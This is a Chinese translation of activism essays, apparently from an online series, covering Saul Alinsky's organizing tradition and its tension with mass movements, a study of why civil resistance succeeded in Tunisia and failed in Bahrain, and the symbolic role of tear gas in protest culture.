重新审视 “建立组织，而非运动” 等格言的愿望是一个令人振奋的发展 —— 它为那些专注于建立长期 “人民组织” 的人与那些探索战略性非暴力和破坏性群众运动的反抗者之间的互动，打开了大门。

这也是阿林斯基本人很可能支持的发展。

回顾与阿林斯基派组织传统相关的许多基本原则的起源就能发现，很明显，有些原则并不像其他原则那样深深扎根于创始人的思想中 —— 他可能会要求重新考虑某些自20世纪60年代以来已经变得神圣的戒律。这些差异提出了一个有趣的问题：如果阿林斯基今天还活着， 他会如何打破自己的规则？美国劳工领袖塞萨尔·埃斯特拉达·查韦斯

（CésarEstradaChávez）

近年来，索尔·阿林斯基已被众所周知，只因他的名字被关联到一大堆华盛顿的著名人物身上。在20世纪80年代，巴拉克·奥巴马（Barack Obama）在阿林斯基社区中担任组织者，不遗余力，这是芝加哥南区的一项倡议，即“发展中社区计划”；希拉里·克林顿在卫斯理学院的本科论文题目就是“只有战斗：阿林斯基模式的分析”（顺便说，希拉里在成为第一夫人后就要求其母校不要发表她这篇论文）。

因为这些联系，美国右翼网络电视制片人格林·贝克 (Glenn Beck) 在他的“美国左派”阴谋论地图上突出介绍了阿林斯基，共和党众议院议长纽特·金里奇在2012年的竞选活动中也经常把阿林斯基作为衬托。

鉴于阿林斯基在选举政治领域之外*正当的*反建制激进派中建立了自己的声誉，因此华盛顿的这些声音都有一定的讽刺意味。作为芝加哥本地人和俄罗斯犹太移民的儿子，阿林斯基在20世纪30年代开始了他的组织工作，由CIO和联合矿工领导人约翰·刘易斯（(John L. Lewis)）的启发。尽管受到刘易斯的指导，阿林斯基坚持相信，劳工运动已经变得昏昏欲睡，民主需要基于工作场所之外的“人民的组织”—— 扎根当地社区的公民团体。

在他第一次尝试创建这样一个团体时，他成立了后院邻里委员会，为了组织居住在肉类包装工厂后面的不同种族的工人。为了对抗这个社区所面临的贫民窟状况，阿林斯基用数百名居民挤满了官僚的办公室，并在当地官员的家门口进行游行。作家玛丽·贝丝·罗杰斯写道，“许多对抗持续了几个月后，后院邻里委员会争取到了街道维修、定期收集垃圾、以及1400名儿童的午餐计划。”

到1940年，在富裕的自由派马歇尔·菲尔德三世 (Marshall Field III) 的资金帮助下， 阿林斯基创建了一个非营利组织名为工业区基金会（IAF），任务是激励人们在其他城市街区进行组织。在20世纪50年代，阿林斯基和弗雷德·罗斯合作，通过IAF支持的社区服务组织改善墨西哥裔美国人在加利福尼亚州的生活条件；罗斯在圣何塞招募了一位年轻的组织者 Cesar Chavez，在弗雷斯诺招募了另一位组织者 Dolores Huerta。两位新的组织者接受了多年的培训后，成功组织了农场工人联合会。

阿林斯基组织的其他著名的运动包括，20世纪60年代与黑人居民在芝加哥的伍德朗附近的合作，以打击剥削的房东和挑战学校过度拥挤；他还帮助在纽约州罗切斯特的社区成员，迫使伊士曼柯达公司创建一

个雇用非裔美国工人的计划。

阿林斯基通过故事进行培训教学，通常是夸张的，也总是娱乐性的。1971年作家纳特·亨托夫说："62岁的索尔是我多年来遇到的最年轻的人"。《花花公子》的采访者埃里克·诺登对此表示赞同："阿林斯基拥有巨大的活力，一个原始的、斗志昂扬的心态，对一切充满好奇心"。诺登写道，"加上绝对的机智，不朽的自我，以及对自己和整个世界的嘲笑的能力，能看到这些您就开始了解这个人了"。

阿林斯基的第一本书《激进派的起床号》在1946年出版时成为畅销书；它抨击了自由主义思想的慈善虚伪，并呼吁以公民行动为基础的美国本土激进主义。《激进者守则》 1971年出版，接近他的生命终点，至今都很受欢迎。它的第一章就是这样写的："下面的内容是给那些想要改变世界的人准备的，从它的现状到变革者认为它应该成为的样子 ..... 《王子》是马基雅维利为"有"者而写的，写的是如何掌握权力；《激进者守则》则是为"无"者而作，写的是如何夺取权力。"

农场工人联合会历史悠久的作者弗兰克·巴尔达克（Frank Bardacke）讲述了阿林斯基的组织原则："以索尔为源头， 社区组织已经成为了一个规范化的学科"，他引用了阿林斯基派组织者培训中心 —— 中西部学院的创始人希瑟·布斯的话，她称阿林斯基为"我们的西格蒙德·弗洛伊德"。

"布斯的意思是，弗洛伊德和阿林斯基都创立了思想流派"，巴尔达克解释说，"但还有另一种更深层次的联系：培训和传承的作用。就像精神分析学家们把他们的血统追溯到祖师爷那样（他们要么是被弗洛伊德分析过，要么是被弗洛伊德分析过的人分析过....），阿林斯基派和新阿林斯基派的组织者也把他们接受的训练追溯到阿林斯基本人"。

今天，阿林斯基的影响不仅体现在IAF或戈尔的NPA中—— 其成员团体从纽约的"社区之声"到洛杉矶的"权力"（POWER）、再到爱荷华州的"社区改善公民"；它还存在于 PICO、DART、USAction/公民行动、Gamaliel 基金会和 ACORN 的前分支机构等网络中。这些组织合计有几百万成员，这一传统也在国际上传播，在欧洲、南非和菲律宾等各地进行的组织培训中。社会学家大卫·沃尔斯写道，每个网络都"或多或少地归功于阿林斯基和他通过国际联合会在芝加哥开展的早期组织方案"。

"没有选举政治"的原则在阿林斯基派的传统中站稳了脚跟，基于这样

的理念，社区组织应该是务实的、无党派的、在意识形态上是多样化的 —— 他们应该对所有政客施加压力，而不会对任何政客表示忠诚。

历史学家托马斯·苏格鲁写道，对当选官员，阿林斯基 “从来没有太多的耐心。改变不会来自自上而下的领导，而必需来自下面的压力。在他看来，政客们只会采取阻力最小的路径”。阿林斯基本人并不反国家，正如社会学家 P. David Finks 所写的那样，对他来说，“问题不在于让政府挪开踩在我们背上的靴子，而在于把政府从它可以随便踩人的位置上推下来”；于是他努力的重点是在选举领域之外的 —— 他不信任选举能改变任何事，这点对当下时代具有非常重要的意义。见《为什么选票无法帮你改变糟糕的现状？真正改变应该来自哪里？：权力的杠杆》。

IAF对其 “独立、无党派” 地位的自豪感挥之不去，这反映出它希望从任何特定社区的政治光谱中招募成员，而不仅仅是参与进步派行动主义的那些人。

这种对意识形态的 “无党派” 回避也与阿林斯基派传统中也许最有趣的戒律有关：将社区组织与群众动员拉开距离。正如罗格斯大学社会学教授、前ACORN组织者阿琳·斯坦恩在1986年写道的那样：“今天的社区组织者普遍倾向于回避运动这个词，更愿意把自己看作是在从事组织建设的人”。

为什么推动社会变革的人会认为自己对运动有戒心呢？有几个原因，对 ”运动” 和 “组织” 这两个术语的理解方式与阿林斯基模式的一些定义方面有关。

阿林斯基的继任者艾德·钱伯斯就表达了对 “运动” 的厌恶，这是他对社区成员长期承诺的一部分。正如他在《激进派的根基》一书中所写道的：“我们为胜利而战。这是IAF的一个显著特点：我们不带领那些寻常的、普通的人们去公开失败，我们也不是在建立运动。运动有起有落，尽管运动很好，但你难以维持它们。我们需要持续的工作，需要几个月、有时是几年的渐进式成功。”

阿林斯基也看到了期待快速变革的危险。他认为：“有效的组织受挫于对即时的和剧烈变化的渴望 …. 而建立一个真正强大的组织是需要时间的。这很乏味，但这就是游戏的方式 —— 如果你想玩，就必须接受，而不仅仅是大喊 ‘杀死裁判’ ”。在进入一个社区之前，阿林斯基计划持续投入，他不会雇用组织者，除非他已经筹集到足够的钱来支付工作人员两年或更长时间的工资。

除了设定时间框架的期望，致力于 “组织而不是运动” 的宗旨也反映在其他几个阿林斯基派规范中。这些包括传统的连接到教会和其他既定机构的做法，这些机构选择的自下而上的要求，而不是高调的全国性问题，以及其对志愿者和自由活动家的态度。

阿林斯基没有选择一个激励性的、道德上有负担的、可能造成分裂的全国性问题来组织 —— 就像群众运动那样；而是主张围绕狭隘的地方需求采取行动。马克·沃伦在他对IAF的研究中解释说，“相对于围绕一套预先确定的问题进行动员， IAF首先会将居民聚集在一起，讨论他们社区的需求，并找到行动的共同点”。人们会由此开始寻找具体的、可赢的项目 —— 比如要求城市官员在一个危险的十字路口设置交通标志。这并不是为了一个交通标志，这个想法是，小的胜利可以建立地方能力，让参与者感觉到自己的力量，并刺激更多雄心勃勃的行动。

它们也满足了社会的一些直接需求—— 在阿林斯基看来，远比社会运动对自由和正义的遥远呼唤更可取。

在他的整个职业生涯中，阿林斯基说的是自我利益的语言，他期待着建立民主权力帮助社区成员之间寻求改善自己的生活条件。他怀疑由抽象的价值观或宣称意识形态动机的活动家， “这样的人只会被高调的道德运动所吸引”。

运动中充斥着这样的人，阿林斯基派并不满意。正如钱伯斯写道的：“活动家和运动型的人是动员者和表演者，而不是民主组织者。他们的剧本就是他们的人设和事业。他们往往对自己过分感兴趣。他们对政治性的理解是肤浅的，或者是由媒体驱动的。他们缺乏无私性”。

此外，钱伯斯认为，运动积极分子对变革的期望过于短期。“他们的时间框架是即时的。‘我们想要什么’—— 自由；‘我们什么时候要？’—— 现在！’没有正义就没有和平’ ”。他不屑地解释道，“运动积极分子吸引的是年轻人、沮丧的理想主义者和愤世嫉俗的意识形态者，忽略了构成世界现状的80%的温和派 …. 组织是应该世代相传的，不是今天来了，明天就没了”。

钱伯斯的观点看似苛刻，但对于那些被吸引到社区组织的人来说，这并不是非典型的。正如斯坦因所解释的那样，“20世纪70年代和80年代阿林斯基式组织的复兴，往往是针对前十年的社会运动 —— 尤其是民权、女性和学生反战运动 —— 来定义自己的，它往往认为这些运动促进了集体身份的形成，而不仅仅是战略目标的实现”。

耐心的基础建设、长期的战略、渐进的地方胜利，这些成分将有助于建立一个持久而有影响力的组织模式。在动荡的1960年代，他们还将阿林斯基置于激进主义文化冲突的中心。

同时，在20世纪60年代的校园，阿林斯基成为了一个受欢迎的演讲者，他的愿景组织把他与许多时代的领导活动家的分歧 —— 无论是其学生激进分子和其更高知名度的领导人，如小马丁路德金。在**1965**年和**1966**年，“组织” 和 “运动” 之间的紧张开始浮现时，金和他的南方基督教领导委员会来到芝加哥，那是阿林斯基的主场，发动他们的第一个北方民权运动。

在运动期间，尼古拉斯·冯·霍夫曼，一个亲密的阿林斯基的副手，有一个偶然的机会与金在孟菲斯的一家医院相遇，当时活动家詹姆斯·梅雷迪思在支持黑人选民登记的游行时被抓捕。冯·霍夫曼给了金他关于芝加哥的建议。“我告诉他，我认为它可以成功，如果他能准备好阵地战的话， 这将需要紧密的强硬的组织”，冯霍夫曼写道，“我补充说，这不可能在不到两年的时间里完成”。

冯·霍夫曼不相信金听进去了。他知道，南方基督教领袖会议SCLC已经习惯于短程的运动，有时只持续几个月。他也没有被金决定把他的家人搬进芝加哥最贫穷的街区之一的公寓所打动，冯·霍夫曼把这一决定斥为没有什么用处的 “戏剧性姿态”。“组织工作就像串珠子做项链一样”，冯-霍夫曼认为，“它需要耐心、恒心和某种合理的设计。金在芝加哥的活动缺少珠子，也缺乏设计”。

阿林斯基和霍夫曼认为，SCLC领导人使一些太依赖于借助媒体寻求游行的 “一招鲜”，他们对他们的团队不屑一顾。正如霍夫曼所说，金和他带进芝加哥的外来者 “就我所知，是由年轻的白人理想主义者、大学生和开小差的士兵组成的大杂烩，其中大多数人对他们应该招募什么人一无所知。在南方，年轻的白人理想主义者是有用的民权炮灰；在芝加哥，他们是负重之人”。

冯·霍夫曼注意到了与他的传统的区别，“这是阿林斯基行动的对立面，在那里，外部志愿者通常被赶走，不仅因为他们碍事，而且因为他们难以投入进来”，他指出，“尽管自愿帮助别人解决问题是值得称赞的，但有效的组织必需是由那些成功与否的结果能直接关系到其个人利益的人组建的。”

这类分析反映了阿林斯基对民权组织的更广泛的批判。在1965年的一次采访中，他认为：“民权运动的阿喀琉斯之踵是它没有发展成一个稳定的、有纪律的、以群众为基础的权力组织”。他认为运动的胜利

在很大程度上归功于不可控制的世界历史力量，归功于“南方和其他地方的现状令人难以置信的愚蠢的失误”，归功于教会机构的贡献。

他说，“周期性的群众兴奋围绕的是一个有魅力的领导人，而不是一个组织。这只是动员的初始阶段”。

对阿林斯基来说，强调强有力的组织的重要性，也是弥合代沟的问题。在他看来，那些高喊“杀了裁判”的人，都是些没有足够经验的人。在写《激进者守则》时，他试图与20世纪60年代的活动家进行沟通，他认为这些人因缺乏指导而痛苦—— 这是一代组织者缺失的结果。

阿林斯基认为年轻的活动家太容易被速成主义所诱惑。在1969年出版的第一本书《激进者守则》的后记中，他写道：“现今这一代人中的许多人的方法，是如此地以‘对抗’和危机为目的，以至于他们的活动不是行动，而是一种能量的释放，就像烟花那样，短暂地照亮了天空，然后就消失在虚空中”。

另一方面，如斯坦因所描述的“一种高度结构化的组织模式，规定了创建社区组织的步骤准则”的创立是一种可以理解的反应，而且这种方法也显示出了巨大的优势。但是，近几十年来，我们可能也看到了它的局限性。

问题是，过于严格地遵循强化模型是否会错失机会 —— 整合基于结构的组织和动量驱动的运动以及利用两者的力量的机会。

事实证明，阿林斯基派传统的许多规则并不是来自创始人本人，而是来自他的继任者后来对其思想的编纂。

在阿林斯基去世后，IAF领导人埃德·钱伯斯、理查德·哈蒙和埃内斯托·科尔特斯坐下来评估导致早期组织推动失败的因素。正如作者玛丽·贝丝·罗杰斯写道的，他们确定了几个“造成不稳定、无效、并最终解散”的模式，其中包括：“依靠有魅力的领导人的运动，在领导人不在的情况下分崩离析”；“围绕单一问题形成的组织，在问题失去效力时就会死亡”；“那些在公众聚光灯下表演的组织，混淆了他们对媒体关注的渴望和他们自己的变革战略”。

显然，国际自由联盟的重量级人物对新的社会运动是持批评态度的；但更令人惊讶的是，他们的评估也对阿林斯基自己的工作提出了指责。

虽然这位创始人为全国各地的组织播下了种子，但只有少数组织存活了三年以上。正如IAF组织者迈克尔·格坎在他的《走向公众》一书中所写道的："阿林斯基作为一个战术家、作家、演讲家和牛虻是异常有效的。他是第一个专注于诠释公民组织在城市社区运作的理论家"；但是，"虽然阿林斯基有许多天赋和优势 … … 但他没有创建经久不衰的组织"。

这个挑战将留给他的继任者， 特别是艾德·钱伯斯。"那是钱伯斯对整个公民组织世界以及整个美国的重要贡献"，Gecan 写道，"他有一种教人们如何组织力量的天赋，这种天赋是持久的"。

钱伯斯对阿林斯基模式的系统化论述涉及招募和培养组织者的正规化流程，减少对大型基金会的资金依赖，改善工作条件以减少倦怠，并加强与信仰团体的联系。其他社区组织网络将进一步推进这一模式，将地方团体纳入全国性联盟，并建立自己的培训项目，完善和传播基层权力建设的规则。

在许多方面，这些都是必要的改变。然而，他们可能是以阿林斯基的一些原始创造力为代价的。随后的社区组织负责人专注于长期建设和建立强大的组织结构，因此，他们对特殊时刻的大规模动员的潜力已经比他们的传统创始人更加不敏感。

事实上，阿林斯基远没有那么僵化。尼古拉斯·冯·霍夫曼在回忆录中描述他的前导师时说他是 "最不教条和最灵活的人之一。阿林斯基认为，自由是要重新定义和重新赢得每一代人据其环境和时代的要求"。阿林斯基喜欢讲一个故事，可能是虚构的，说他参加了一次为社区组织学生设计的考试，"其中三个问题是关于索尔·阿林斯基的哲学和动机"，他说，"我自己答错了其中两道题目！"

这种灵活性影响了他对选举的看法。阿林斯基的传记作者桑福德·霍威特（Sanford Horwitt）指出，这位组织者曾计划在1966年芝加哥南区的选举中竞选国会议员。霍威特引用冯·霍夫曼的话说："很多人，特别是那些把社区组织变成一种宗教的人，现在把它当作索尔·阿林斯基的福音 …… 一个人永远不要直接参与选举政治。嗯，他从来没有想过这个"。

更重要的是，阿林斯基对群众动员的看法不是单一的。当他试图将社会运动的能量与他的一个社区组织的工作整合起来时，他职业生涯中最有趣的时刻来了 。

1961年初，冯·霍夫曼在伍德朗街区组织活动时，接到了一位民权活

动家的电话，他参加了自由乘车活动，这是一次旨在挑战南方州际公交车种族隔离制度的抗议活动。活动家在阿拉巴马州遭到暴力袭击 —— 他们的一辆巴士在安尼斯顿被烧毁，他们在蒙哥马利被一群暴徒殴打。刚从新奥尔良的医院出院，这位活动家和他的一些同伴联系了冯·霍夫曼，表示有兴趣在芝加哥首次公开露面。

冯·霍夫曼起初很犹豫，担心这次活动不能推动当地的组织工作，并注意到以前在芝加哥举行的民权集会只是吸引了少量镇压者。然而，他还是安排在圣西里尔教堂的一个大体育馆里举行了一场演讲。正如霍维特写道的："在一个星期五的晚上，节目开始前的两个小时，体育馆里空无一人，冯-霍夫曼很紧张 —— 他最初的担心似乎即将得到证实。一个小时后，一对老年夫妇到了，然后，令冯-霍夫曼完全惊讶的是，这么多人都来了，以至于体育馆、门厅和楼梯上连站的地方都没了"。

冯·霍夫曼安排了扩音器，向会场外街道上的几百名群众广播演讲。来的人远远超过了他的团体通过组织结构所能动员的一切可能性，这个问题在社会上产生了深刻的能量。他半夜打电话叫醒了阿林斯基，并解释了发生的事。冯-霍夫曼说："我认为，我们应该抛开我们在组织方面所做的一切，在这样的前提下开展工作：现在是旋风的时刻，我们不再是在组织，而是在引导一场社会运动"。

出乎他的意料，阿林斯基的回答是："你说得对。明天就去做吧"。

随后，伍德隆组织举行了自己版本的 "自由乘车" 活动—— 用大巴车登记黑人选民。霍威特回忆说，这次活动产生了 "市政厅有史以来最大规模的选民登记" ，惊动了这个城市的政治掮客，比伍德隆的标准行动产生了更大的倡导效果，并为该组织进一步的民权活动奠定了基础。

在批评马丁·路德·金之后的几年，阿林斯基并不是想把民权运动作为一个整体来撰写。一个虔诚的足够登录头条新闻的直接行动， 他承认其成就；然而，他试图向其领导人提出制度化的挑战 —— 金本人在晚年也在努力解决这个问题，这对于思考如何整合组织模式来说至关重要。

阿林斯基明白了一些重要的东西，就在他拥抱 "旋风时刻" 时。他看到，利用群众动员来产生社会反叛的高峰，是一个遵循一套不同于传统组织规则的过程。它的许多原则 —— 接受具有广泛象征性共鸣的要求，引导更广泛的公众的能量和参与，以道德和愿景的方式表达自我利益—— 都与推动地方社区组织的原则相反。但是，阿林斯基却

愿意尝试它们的可能性。

前ACORN组织者斯坦因认为，这种开放性在阿林斯基的弟子中已经变得罕见。她写道，近几十年的阿林斯基派组织，“往往都不能把握动员的可能性，看不到正在发生的机会。正因为如此，他们不适当地限制了自己”。

斯坦因认为，美国历史上伟大的社会运动 —— 劳工运动、民权运动、妇女运动（列举一些最重要的运动）—— 都能通过突破个人主义美国文化而学习社区团结的经验，吸引了大量人们的兴趣和想象力。而在将 ‘组织’ 置于 ’运动’ 之前时，**ACORN**和类似的团体忽略了这一点。他们忽视了组织模式，这些模式挖掘了超越最地方性的、具体的或可赢得的变革可能性。

无论是1999年和2000年的全球正义抗议、2006年大规模的移民权利游行、还是2011年 “占领华尔街” 运动在全国范围内的迅速蔓延，那些资深的组织者往往被运动的爆发吓得措手不及。因此，他们对于如何引导和扩大这些努力 —— 或者说如何利用高峰时刻的能量来推动他们自己的持续组织工作 —— 并没有什么想法。

幸运的是，在占领运动之后，越来越多的人开始对这一挑战产生兴趣。那些现在正在寻求将基于结构和动力的组织模式结合起来的方法的人们，有很多肥沃的土地可以探索。这将意味着在 “资源动员” 和 “破坏性力量” 两个世界之间展开对话；这将涉及到让那些沉浸在劳工和社区组织文化中的人们将他们的方法与来自战略性非暴力和公民抵抗传统的对群众动员的见解进行比较。

在此，他们可以从这位激进的实用主义大师那里得到启发。因为虽然组织和运动之间的分裂是真实存在的，但说，阿林斯基的真正精神在于打破使它们分裂的规则。〇

—— 未完待续 ——

原文

是什么导致了抗议运动的失败，如何才能成功：行动主义（11）- 战略智慧是最重要的武器 - iyouport

行动主义

您的对手从来不会把您的反抗运动组织视为 “铁板一块”，他们会想尽一切办法去拆散你们，在你们中间制造矛盾和分歧；相反，如果您将对手视为 “高度凝聚的铁板一块”，您就是在放弃一个重要的战术 ……

【按】在本系列第2集中我们讲述的是权力支柱的重要性；就如您所看到的那样，镇压者不会攻击和逮捕所有抗议者，他们会瞄准那些看起来是组织者的有影响力的人物，以此来快速推倒反抗组织的 “支柱”（这里的支柱包括我们在 “信息行动主义” 系列中讲述的 “盟友光谱”）。相反，反抗者也应致力于推倒当权者的权力支柱，当支柱折断时，权力的屋顶就会掉下来。

本集内容讲述的是同一个意思，但是，需要强调行动者对时机的把握 —— 当一根支柱歪掉了的时候，如果没有推土机冲进来，当权者会迅速建立更多的支柱以稳固自己的屋顶。于是，何时发动您的推土机，就是行动者重要的战略智慧。

这是不能具体支招儿的，您知道为什么；但是，只要您领会到原理，就能自己创建出最适合您的运动的战略。

欢迎回来！

如果您错过了前面的内容，可以在这里看到：

- 《无法预测运动何时会爆发，但活动家可以描绘通往成功的道路：行动主义（1）》
- 《活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2）》
- 《创建强大的运动—用战术，而不仅仅是力量：行动主义

（3）》
- 《当活动家陷入虚无和疲惫 …… 寻找解决方案：行动主义（4）》
- 《如何才能让一个革命战略持续存活下去：行动主义（5）》
- 《反抗运动如何通过培训来增强力量：行动主义（6）》
- 《运动如何利用戏剧性抓住公众的想象力：行动主义（7）》
- 《从柏林墙到今天—利用旋风时刻的经验教训：行动主义（8）》
- 《您天生适合在社会变革中扮演什么角色？：行动主义（9）》
- 《炫目烟花和持久性发展之辩：行动主义（10）：”运动” 与 “组织” 之间的鸿沟可以弥合吗》

在 “阿拉伯之春” 开花结果10年后，中东和北非地区的许多民间抵抗运动的结果喜忧参半。学者们对这些案例进行了研究，以准确地分辨出一些案例为什么成功和另一些案例为什么失败的原因。

在一篇题为《民间抵抗如何成功（或不成功）：团结、时机和升级行动的微观动态 》中，Isabel Bramsen 通过比较突尼斯和巴林的案例，对该地区民间抵抗运动的新兴知识体系做出了贡献。前者可能是唯一一个成功和可持续的政权更迭的案例，而后者则是一个在取得成果之前就被镇压掉了的起义。是什么原因导致了这些不同的结果？

Bramsen 首先考察了对阿拉伯之春和更普遍的民间抵抗成功或失败的简单解释。她认为，诸如维持非暴力纪律、先前的组织能力和军队叛逃 —— 以及更广泛的军民关系 —— 等突出的解释并不足以阐明这些特定案例中的不同结果，以及每个案例中随着时间的推移而产生的变化。换句话说，为什么镇压可能在某一时刻失败，但在另一时刻却有效地终结了一场抗议运动？

相反，Bramsen 采用兰德尔·柯林斯发展的理论框架，关注民间抵抗运动与其所反对的政权之间斗争的互动层面，以解释为什么有些运动成功，有些运动失败。

应用这一理论视角，她在2015年对来自突尼斯和巴林的各种（主要是）活动家 —— 杰出的和普通的、农村的和城市的、女性和男性、投掷石块的和坚持非暴力纪律的行动者—— 进行了访谈，同时还参考了有关这些案例的报道、新闻文章、早期的学术研究以及YouTube视频。

通过分析，她发现了以下几点。

在突尼斯，2010年底和2011年初对起义的暴力镇压只是进一步统一了全国各地的抗议运动并为其注入了活力，为其提供了更大的动力，最终导致了政权凝聚力的恶化；因此，当运动升级，在内政部外的一条主要街道上举行大规模示威时，是在运动的力量和动力的足够基础之上、在政权出现分裂和不确定的时刻，导致了本·阿里的倒台。

- 不要错过《镇压可以激发更多的反抗，但有时却相反，为什么？》

在巴林，**2011**年初对该运动的最初暴力镇压产生了类似的团结和激励作用，不同派别的活动家以及逊尼派和什叶派走到一起，联合起来以对抗一个共同的敌人。

然而，该政权在几天后改变了战术，镇压部队撤出了解放广场（抗议活动的中心），并总体上允许示威活动继续进行，这使得抗议运动内部出现了分歧，包括革命派和改革派之间的分歧，以及教派之间的分歧—— 尽管该运动的组织方面为坚决不搞教派而做出了一些协调性的努力。

几周后，当运动的某些部分决定升级 —— 封锁金融区时，它是从*不团结*的立场出发的，没有逊尼派的广泛参与，也没有最大的反对党的参与。第二天沙特军队的进入，以及沙特政权对运动的镇压，并在接下来的两天内对解放广场的清理，在这种情况下对运动产生了重要的心理影响，“在情感上支配了抗议者”。

📌 因此，Bramsen 更普遍地指出，民间抵抗运动的成功取决于运动在 “挑战对手的凝聚力” 的同时保持 “自己的团结和一致” 的有效性—— 两方面都借助政权的 “镇压战略” 和运动升级的时机，即 是否在运动有势头时进行。基于这些发现，她敦促行动者仔细考虑升级运动的时机，在 “凝聚力最强和势头最高” 的时刻进行规划。

当代意义

「图」

这项研究提醒我们，民间抵抗运动的成功并不仅仅取决于组织能力或 “心怀不满的军队内部人员” 等看似静止的因素的存在与否，而是取决于运动本身和政权行动的时机以及它们之间的动态互动。

这一提醒与当前世界各地的运动息息相关，应该令人鼓舞，因为这意味着没有任何运动仅仅因为缺乏所谓的成功因素之一而成为失败的事

业。相反，重要的是在反抗运动与其对手之间的关系和互动方面的战略性和某种敏锐性。

这里的研究结果让人想起罗伯特·J·伯劳斯在其1996年出版的《非暴力防御战略》一书。📌 他在书中强调，反抗运动最重要的是加强自身的团结和凝聚力，同时削弱对手的团结和凝聚力。实际上，这意味着，重要的不是自己所掌握的“武器”（不管这些武器是实际的还是象征性的），而是这些“武器”对自己和对手继续斗争之意志的影响。

在这个意义上，我们可以更好地理解，一个政权选择暴力镇压民间抗争运动，实际上可能会产生与预期相反的效果—— 通过团结周围的多个社会群体，强化人们的抗争意志，从而增强反抗运动继续抗争的能力。

同时，如果对明显手无寸铁的行动者使用暴力镇压，这种镇压本身就会削弱政权的内部团结，从而削弱其继续压制反抗运动的意志和力量；民间抗争运动日益增强的凝聚力和团结，也会使政权的内部成员/支持者在相信运动的可行性和前景、甚至只是被运动的狂热所裹挟时，动摇到抗议运动一边。

📌 简而言之，当前的反抗运动可以利用这些发现，回顾看似固定的权力结构和社会团体中的流动性和可塑性，并利用这些优势。

实际影响

「图」

📌 基于这些发现，民间抵抗活动家在制定战略时应将以下因素作为核心考虑：

首先，活动家在选择非暴力战术时，不仅要考虑如何将力量源头从政权中撤出，还要考虑反抗者认为什么能最好地加强自己的运动的广泛凝聚力、或最好地削弱对手的凝聚力，同时注意到采用多样化战术（根据风险程度，既要集中又要分散）的普遍重要性。

其次，正如 Bramsen 所指出的那样，行动者应慎重选择升级的时机，要格外注意在缺乏足够的团结或势头时升级的风险。另一方面，当运动的参与人数和多样性达到顶峰时，时机恰当的升级可能会被证明是决定性的胜算。

第三，行动者应抵制将对手视为“一个整体/铁板一块”的冲动，而应

努力将对手视为一个多样化的群体，并与之建立联系，其中许多人有可能从对手的核心中分离出来，最终削弱对手的整体力量。您甚至不需要真正信任对手方被分离出来的某些人，只要您能让对手相信您正在有效地分离他们，就能达到目的 …… ○

—— 未完待续 ——

原文

对镇压武器的抵抗使运动能力增强：行动主义（12）- iyouport

行动主义

催泪瓦斯在抵抗政治上的意义

【按】我们今年目前为止开启的是3个关于行动主义的系列内容：本系列《行动主义》的主题是原理和战略技巧、以及探讨一些常见的困扰反抗者队伍的问题的解决方案；另一个系列《示威参与者指南》的主题是街头武器和防御，重点关于技术和战术智慧；第三个系列（已完成）是《信息行动主义》，作为在线行动和线下行动相结合的战术，介绍一些数字工具和数字技术辅助行动主义的战略性思考方式。

本集内容所关注的主题曾经在多个系列中出现，包括街头防御、也包括公民调查技巧 —— 学习对镇压武器进行取证的方法，以令暴力镇压肇事者负责。

但本集内容不同于以往任何系列内容中对镇压武器的分析，而是更多关注其在抵抗政治方面的作用。正如通过我们对装备的技术介绍能帮助您了解到的：任何防御装备都不会绝对保护您的安全，真正能保护我们所有人的东西，是我们之间的关爱和协作。

本集内容将强调这点，尤其是，反抗者如何利用当今世界最典型的这一政治元素 —— 镇压武器—— 制定更具动员力和感染力的行动主义战略方案。

欢迎回来！

如果您错过了前面的内容，可以在这里看到：

- 《无法预测运动何时会爆发，但活动家可以描绘通往成功的道路：行动主义（1）》
- 《活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2）》
- 《创建强大的运动—用战术，而不仅仅是力量：行动主义

（3）》
- 《当活动家陷入虚无和疲惫 …… 寻找解决方案：行动主义（4）》
- 《如何才能让一个革命战略持续存活下去：行动主义（5）》
- 《反抗运动如何通过培训来增强力量：行动主义（6）》
- 《运动如何利用戏剧性抓住公众的想象力：行动主义（7）》
- 《从柏林墙到今天—利用旋风时刻的经验教训：行动主义（8）》
- 《您天生适合在社会变革中扮演什么角色？：行动主义（9）》
- 《炫目烟花和持久性发展之辩：行动主义（10）：”运动” 与 “组织” 之间的鸿沟可以弥合吗》
- 《是什么导致了抗议运动的失败，如何才能成功：行动主义（11）- 战略智慧是最重要的武器》

世界各地的人们都在发明、改造和分享抵御和抵抗催泪瓦斯的技术。在此过程中人们相互关爱。他们将这一镇压武器转变成了一种集体化的工具。

在社交媒体和移动技术的帮助下，抗击催泪瓦斯的跨国团结越来越多，数字技术帮助抗议者流传救助药方、防毒面具设计和榴弹投掷技术。展示了社会运动研究者 Gavin Grindon 所说的 “草根文化外交”，这些技巧从希腊到纽约，从巴勒斯坦到弗格森，从埃及到香港，通过社交媒体平台发布和流传。

在巴林和巴勒斯坦等地，对催泪瓦斯的广泛 “使用” 甚至日常化，让这种可怕的化学武器成为了生活的一部分。作为展示和集体处理这种创伤的一种方式，人们有时会将催泪瓦斯罐改造成其他物品。愤怒、悲伤和纪念的行动作为艺术实践出现。

例如，在巴林，人们用催泪弹设计了一个王座，以提醒人们王室在镇压民主抗议中的残暴。在巴勒斯坦，催泪弹被用作圣诞树装饰品，向美国发出信息—— 提醒关于美国催泪弹和武器制造商在被占领土地暴力镇压中的作用。

2013年，一个用空催泪弹罐子浇灌的植物做成的巴勒斯坦花园的照片被主流媒体传播，作为希望和抵抗的形象。然而，正如 Elias Nawawieh 在《＋972》杂志上指出的那样，新闻报道、Twitter 照片和 Facebook 帖子中都没有提到作为花园中心的那座坟墓。墓穴上有一张巴塞姆·阿布·拉赫马（**Bassem Abu Rahmah**）的半透明照片，他在**2009**年被以色列国防军在近距离内用催泪瓦斯榴弹击中胸部后死亡。

2013年，土耳其的“占领盖齐”成为一个创新的场所，人们在这里设计、采用和调整了抵抗和抵御催泪瓦斯的新模式。这里有身穿红裙的女子 Ceyda Sungur，她在近距离被辣椒水袭击，变成了一个运动标志；有正在跳舞的芭蕾舞演员，裙子旋转飞舞，与舞者佩戴的全罩式防毒面具形成刺眼的对比；企鹅戴上防毒面具的形象象征着媒体没有报道警察的暴力行为，此前电视新闻台试图通过播放一部关于企鹅的纪录片而不是抗议活动的镜头，来屏蔽起义的新闻。

Christian Gubar 写道，“作为政治商品和舞台道具，护目镜和防毒面具因其诡异的戏剧性效果而受到欢迎，充分说明了生活在有毒气体烟雾下的怪诞平凡”。

